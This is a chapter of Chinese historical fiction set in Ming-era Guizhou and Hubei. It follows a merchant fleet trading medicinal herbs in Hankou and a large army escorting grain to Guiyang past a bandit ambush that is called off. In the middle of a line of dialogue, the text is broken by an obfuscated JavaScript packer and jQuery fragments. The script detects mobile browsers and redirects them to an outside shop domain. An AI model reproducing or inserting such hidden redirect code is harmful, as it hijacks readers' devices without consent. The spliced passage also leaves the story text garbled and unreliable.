万历三十二年，四月初。
春潮初涨，水西商船队经夔门穿巫峡，一路顺流东下，过巴东、穿夷陵、经宜都，历时半个月，终于抵达荆州。
何若海立在船头，伸手揽住妻子的肩，指着两岸渐次展开的平原，轻声道：“婉清，你瞧，这便是荆襄大地，沃野千里，天下粮仓。咱们这一路从乌蒙深山到江汉平原，足足几千里，真是不易。”
苏婉清顺着他手指的方向望去，只见江岸两侧稻浪翻涌，田畴如织，村落炊烟袅袅，与黔中山区的荒僻瘴疠判若两重天。她轻声叹道：“湖广熟，天下足。贵州若也有这般光景，百姓何愁温饱呢?”
“会有那一天的。”何若海握紧她的手，语气笃定，“改土归流，便是要让西南百姓也过上这般安稳日子。”
继续东行，江面愈发行阔。两岸城池渐密，商船往来如织，帆影点点，纤号声声。商船队在荆州、岳州分别停靠，将品相稍次、不宜久存的药材就地销售。各地药商听闻水西商队运来大批西南名药，纷纷前来洽谈，不过数日，便售出三四千斤，得银近万两。
四月中旬，船队抵达汉口。
汉口扼长江、汉水交汇之冲，九省通衢，商贾云集。码头上千帆竞发，桅樯如林，南船北马，于此交汇。江汉关前，挑夫脚力川流不息，各地商帮的会馆鳞次栉比，南来北往的客商、挑夫川流不息，各色货物堆成小山，骡马嘶鸣、人声鼎沸，一派水陆大埠的盛景。
水西商船队靠岸停泊，二十余艘大船首尾相连，占了大半条码头。岸边早有陈恩事先遣人租下的库房，宽敞高大，通风干燥，正合存放药材。伙计们肩扛手抬，将一袋袋药材从船上卸下，码入库房，井然有序。
汉口分号掌柜早已备下接风宴席，陈恩却无心享用，径直带着何若海、熊文灿等人前往库房查验货物。
库房之内，药香扑鼻。成箱的天麻、当归、党参、赤芝码放整齐，锦盒木匣层层叠叠，包装精美，品相上乘。陈恩踱步其间，指尖不时抚过药材，神色却未见舒展。
何若海跟在身侧，见叔父眉宇微蹙，轻声问道：“叔父，可是这批药材有何不妥？”
水西慕魁辅事陈恩望着堆积如山的药材箱笼，又看了看远处繁华的市井，忽然驻足，对何若海与熊文灿说道：“若海、文灿，你我祖籍皆是江西。药材要卖好价钱，光靠包装还不够，还需精加工，方能更上档次。”
他取过一盒天麻，打开锦盒，取出其中一株，托在掌心，语气沉定：“你看这天麻，个头虽大，品相虽好，却只是粗货。若经樟树帮药工切片、蒸制、烘干、分级，再配以锦盒、绒匣，那便是贡品级别的‘明天麻’，身价十倍不止。”
熊文灿在一旁听得连连点头，接口道：“辅事高见。汉口虽是九省通衢，终究是商贸之地。真正的深加工、高附加值，还得靠江西樟树帮的手艺。咱们这批药材，品相上佳，若只当粗货卖，实在暴殄天物。”
陈恩眼中精光一闪，看向何若海：“若海，老夫没记错的话，你祖父世荣公、父亲思源公，当年都是樟树帮的行家里手吧？”
何若海躬身道：“叔父明鉴，家父确实曾在樟树经营药材。”
“好！”陈恩一拍栏杆，“药不到樟树不齐，药不过樟树不灵。南昌虽非巨埠，但紧邻‘药都’樟树，正是药材‘深加工’和‘提纯’的枢纽。上好的药材若能运到江西精加工，配上咱们设计的锦盒，档次立刻就不一样了。”
何若海心中一动，立刻领会：“叔父高明！汉口、扬州皆是富商云集之地，若是将药材运往江西南昌、临江府进行精加工，既能提升品质，又能兼顾这两路的高端市场。”
此时，杨书瑶、苏婉清也闻声走来。
陈恩目光扫过众人，沉声道：“文灿，扬州是盐商聚集地，那是真正的奢侈消费中心。你带三四千斤最上等的党参、野生赤芝、麝香，走水路直下扬州。记住，到了扬州，药材不论斤卖，论‘两’卖！包装要用锦盒、红木盒，内衬丝绸，卖给富商的价格，可能是收购价的五倍以上！”
熊文灿眼中精光一闪，拱手道：“是，辅事！学生定不负所托，将这‘高端礼品’生意做透。”
陈恩点了点头，随即看向苏婉清与杨书瑶，语气放缓：“四月正是青黄不接之时，我听说贵州粮价飞涨，但这汉口却是百货运黔的枢纽。婉清，书瑶，你们二人留在汉口，负责采购。”
苏婉清上前一步，神色从容：“叔父放心。我在泸州时便听娘亲说过，汉口市场专门有一种布就叫‘贵州布’，是运销贵州的拳头产品。贵州不产棉花，棉布是当地最大宗的输入品，需求量极大。”
杨书瑶也补充道：“不仅如此，贵州地处内陆，海味、蔗糖全靠外地输入。糖价极高，海味更是奇货可居。我和婉清妹妹商量了，布匹是‘压舱石’，绸缎糖酒是‘门路货’，这一进一出，利润足以填补贵州的亏空。”
“妙！”陈恩抚须大笑，“好一个‘布匹压舱石，糖酒门路货’！婉清，你留在汉口负责布匹采购；书瑶，你负责绸缎糖酒。咱们这次，要把这汉口的商路，彻底盘活！”
他当即分派差事，语气果决：“余下人手分作三队，一队随若海赴江西，一队随文灿往扬州，还有一队快马分赴荆州、长沙、岳州、常德，紧盯各地夏粮收成与粮价，一旦新粮上市，第一时间着手收购，全力补给贵州。”
众人齐声领命，各司其职。
片刻之后，庞大船队在汉口码头正式分流。何若海率领十余艘大船，扬起风帆，朝着江西方向破浪而去；熊文灿带着名贵药材，换乘轻快商船，直奔扬州；码头之上，人声鼎沸，布匹、绸缎、一筐筐蔗糖接连搬上船，堆积得满满当当。汉口这座水陆巨埠，因这支来自西南的船队，愈发热闹起来。
远在千里之外的贵州镇远府，却完全是另一番光景。
校场内号角声声，操练声震天。三千新兵列成方阵，手持刀矛，在将领指挥下反复演练阵型，脚步整齐划一，呐喊声震彻四野。总兵官陈璘一身戎装，披甲而立，目光锐利地扫视着队伍，身旁游击将军刘岳随时禀报操练进度。
贵州匪患连年，仲家苗四处劫掠，他麾下原有镇标营两千人，兵力单薄，护粮远远不足。自开春起他四处招募新兵，募得三千余人，日夜加紧训练。只是新兵入伍时日尚短，阵战、野战都还生疏。
游击将军刘岳秉报：“贵阳城中，米价飞涨，一石米从平日的一两银子暴涨至二两有余，寻常百姓根本买不起，只能以野菜、树皮充饥。”
“贵州不产粮，全靠湖广、四川协济。”陈璘叹了口气，对身旁游击将军刘岳道，“年初郭抚台命我护送三万两饷银、八万担米粮去贵阳，可沿途‘仲家苗’猖獗，若无强兵，这粮道必断！”
正说话间，亲兵飞报：“启禀大人！援兵到了！镇雄土府知府陇澄、奢社辉夫妇，以及永宁土舍奢崇明，率四千精兵，已到城外！”
“哦？来得正是时候！”陈璘大喜过望，连忙整衣出迎。
镇远城外，校场上旌旗猎猎，号角声声。四千镇雄兵甲胄鲜明，队列严整，刀枪如林，士气高昂。陇澄一身银甲，外罩大红锦袍，□□乌骓马，威风凛凛；奢社辉一身戎装，腰悬短刀，策马立于身侧，英姿飒爽。更令陈璘意外的是，奢崇明竟也亲自来了。
陈璘目光一转，落在一旁策马而立的奢崇明身上，眉头微蹙：“奢土舍，你不在平越府驻守，跑到镇远来做什么？”
奢崇明翻身下马，躬身行礼，语气从容不迫：“卑职虽驻守平越，却日夜悬心省城安危。贵州缺粮，军心浮动，卑职岂能坐视？特留副将罗乾象分守四地，自率亲兵赶来，愿为总兵大人前驱！”
他抬眸望向陈璘，眼中满是赤诚：“平越、都匀四城防务，卑职已分派副将罗乾象、樊龙、樊虎等分头驻守，日夜轮巡，防务无隙。我抽身前来，愿随总兵大人一同护送粮饷，尽一份绵薄之力。”
陈璘点头道：“好！本帅正愁人手不够。待粮食安全运抵贵阳，本帅定向朝廷为你美言！”
奢崇明躬身再拜：“多谢总兵大人成全！”
奢社辉立在陇澄身侧，她太了解自己的兄长——奢崇明此人，最善审时度势，八面玲珑，从不在关键处出错。此番主动请缨护粮，明是表忠心，暗是借机在贵州官府面前刷存在感，为日后承袭铺路。
陈璘校场点兵，调兵遣将。
他令镇标营两千兵马为中军，护卫粮车饷银；陇澄、奢社辉率三千镇雄兵为前队，逢山开路，遇水架桥；奢崇明率一千永宁兵为后队，断后掩护；新募的三千新兵分列两翼，负责警戒、巡逻、传讯。
全军合计近万人，加上征发的一万民夫，浩浩荡荡，绵延数里。
粮车三千辆，每辆车配两名民夫推挽，十人一队，百人一哨，层层护卫；饷银分装二十辆铁甲车，每车配十名刀盾兵贴身保护，陈璘亲率亲兵营随行押运。
队伍自镇远出发，沿驿道西行，向贵阳进发。
驿道两侧山峦叠嶂，密林蔽日，正是苗匪出没之地。陈璘不敢大意，每日派斥候前出三十里探路，大军昼行夜宿，营寨四周挖壕沟、设鹿角、布哨探，戒备森严。
行至麻哈地界，驿道进入一条狭长的河谷。
河谷两岸山势陡峭，密林覆盖，道路狭窄，仅容两车并行。抬头望去，只见一线天光，两侧山坡上怪石嶙峋，灌木丛生，正是打伏击的绝佳之地。
陈璘勒马立于谷口，望着幽深的河谷，眉头紧锁。
征战多年，一眼便看出此地凶险，陈璘沉声下令：“传令下去，全军缓行，前队保持警戒，两翼哨探登山巡查！”
陇澄策马上前，低声道：“总兵大人，卑
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17621634|203925||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
职愿率五百精兵先行探路，扫清两侧山坡，确保大军安全通过。”
陈璘点头：“去吧，小心行事。”
陇澄点齐五百罗兵，弃马步行，沿两侧山坡攀援而上，刀出鞘、弓上弦，一寸寸搜索前进。
河谷深处，密林之中，仲家苗首领吴老乔正率四五千匪众潜伏于此。
“足足三万两白银的饷银，八万担的粮食！”吴老乔舔了舔干裂的嘴唇，眼中闪过一丝贪婪，“这可是贵州官军的命根子！弟兄们，准备动手！”
这是湖广入黔的咽喉要道，官军必经此地，只要在此设伏，截下粮饷，便可坐地分赃。
可当官军的前队出现在谷口时，吴老乔的脸色变了。
官军不是几百人，不是几千人，而是近万人！
甲胄鲜明，刀枪如林，旌旗遮天蔽日，绵延数里，一眼望不到头。队伍前方，是甲胄锃亮的罗兵，刀盾兵在前，长枪兵在后，弓弩手列于两翼，步伐整齐，杀气腾腾。
吴老乔眯着眼，透过树缝望向谷口，原本满是贪婪的脸上渐渐凝重：“原本以为就陈璘那点兵，咱们趁河谷地形设伏，先派小股人马诱敌深入，再集中人手截断后卫，专抢粮车银车，保管满载而归。”
吴德福趴在阿伦身侧，声音发颤，“大哥，这……这怎么打？”
吴老乔面色铁青，死死盯着谷口缓缓行进的官军队列，拳头攥得咯咯作响。
眼前这支队伍，甲械齐整，士气高昂，且兵种齐全、配合默契，绝非乌合之众。
“官军怎么这么多人？还有土兵？”吴老乔压低声音，语气中带着几分惊恐。
吴德福凑近，声音压得更低：“大哥，那是水西罗兵，安疆臣的兵马！听说罗兵在平播之战中，连破杨应龙十几座营寨，杀得苗兵尸横遍野……”
吴老乔心道：‘去年我们劫过小股土兵，被水西罗兵追剿半月，死伤过半！如今近万官兵齐聚，甲械齐备、哨探密布，咱们这点人手上去，纯属送死！’
“撤！官军兵力太强，硬拼只会让兄弟们白白送死，这笔买卖，不做了！”吴老乔咬了咬牙，狠狠一挥手，“传令下去，不许出声，不许举火，分批撤离，别惊动官军！”
数千匪寇如林间鬼魅，借着树木掩护，悄然后撤，片刻间便消失在深山密林之中，连一点动静都未曾留下。
官军浩荡通过麻哈河谷，一路畅通无阻。
奢崇明勒马立于后队，看着两侧寂静的山林，嘴角微微上扬。
他料到，苗匪不敢打。
不是匪寇胆小，而是官军太强。
近万人的护粮大军，加上一万民夫，甲械齐备，士气高昂。苗匪虽凶悍，没有铠甲，没有火器，只凭一腔血勇，怎么可能与正规军硬碰硬？
四月下旬，护粮大军顺利抵达贵阳。
巡抚郭子章亲自出城迎接，看着那堆积如山的粮垛和银鞘，激动得老泪纵横：“有了这些粮饷，贵阳无忧矣！”
郭子章对着诸将连连拱手，满脸笑意：“诸位将军护粮有功，本抚定当上奏朝廷，为诸位请功！”
陈璘抱拳回礼：“抚台客气，此乃末将分内之事。”
郭子章目光转向奢崇明，眼中带着几分意外：“奢土舍，你不是在平越驻守吗？怎的也来了？”
奢崇明躬身行礼，语气谦恭：“回抚台，卑职闻湖广粮饷滞留镇远，贵州全境缺粮，军心浮动。卑职特从平越赶来，随总兵大人护粮入省。幸不辱命，粮饷安全运抵，卑职心中稍安。”
郭子章微微颔首，眼中闪过一丝赞许。
“好！”郭子章拍了拍奢崇明的肩膀，语气和缓，“奢崇明，你虽守平越，却能急公好义，驰援镇远，护粮有功！本抚定当上奏朝廷，定为你美言。永宁承袭之事，也该有个结果了。”
奢崇明心中一喜，面上却不显半分，只是深深躬身：“多谢抚台大人成全！”
陇澄低声对奢社辉道：“你兄长，确实不是等闲之辈。”
奢社辉轻轻点头，目光复杂：“他若没有这份机敏，奢氏早就在水西的夹缝中消亡了。”
粮饷入库，军心大定。
贵阳城中，米价应声而落，百姓奔走相告，欢声雀跃。
贵阳城内粮荒得以缓解，百姓终于能吃上饱饭，街面上的愁容消散大半。
婚期将近，水西安氏、永宁奢氏的族人、宾客纷纷动身，朝着永宁、镇雄汇聚。
江水之上，何若海的船队驶向江西，潜心筹备药材精加工；熊文灿扎根扬州，静待高价开市；汉口码头，布匹、绸缎、蔗糖堆积如山，只待返程运入黔地。
西南这盘大棋，商贸、兵权、婚事、民心环环相扣，每一步落子，都早已被各方枭雄算计周全。暗流涌动的黔地，表面终于迎来短暂的安稳，可谁都清楚，平静之下，更大的风浪，还在后面。